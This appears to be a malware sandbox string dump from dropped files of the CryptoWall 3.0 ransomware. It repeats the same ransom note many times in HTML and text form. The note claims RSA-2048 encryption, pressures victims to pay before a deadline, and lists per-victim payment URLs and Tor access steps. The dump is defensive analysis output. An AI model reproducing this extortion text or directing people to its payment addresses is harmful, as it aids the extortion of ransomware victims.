target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html26.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt199.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html193.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html222.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt80.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html323.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html96.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html279.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt156.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt173.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt301.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html111.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt135.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt306.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt351.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt419.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html155.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html166.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html406.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html249.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt231.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html59.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" 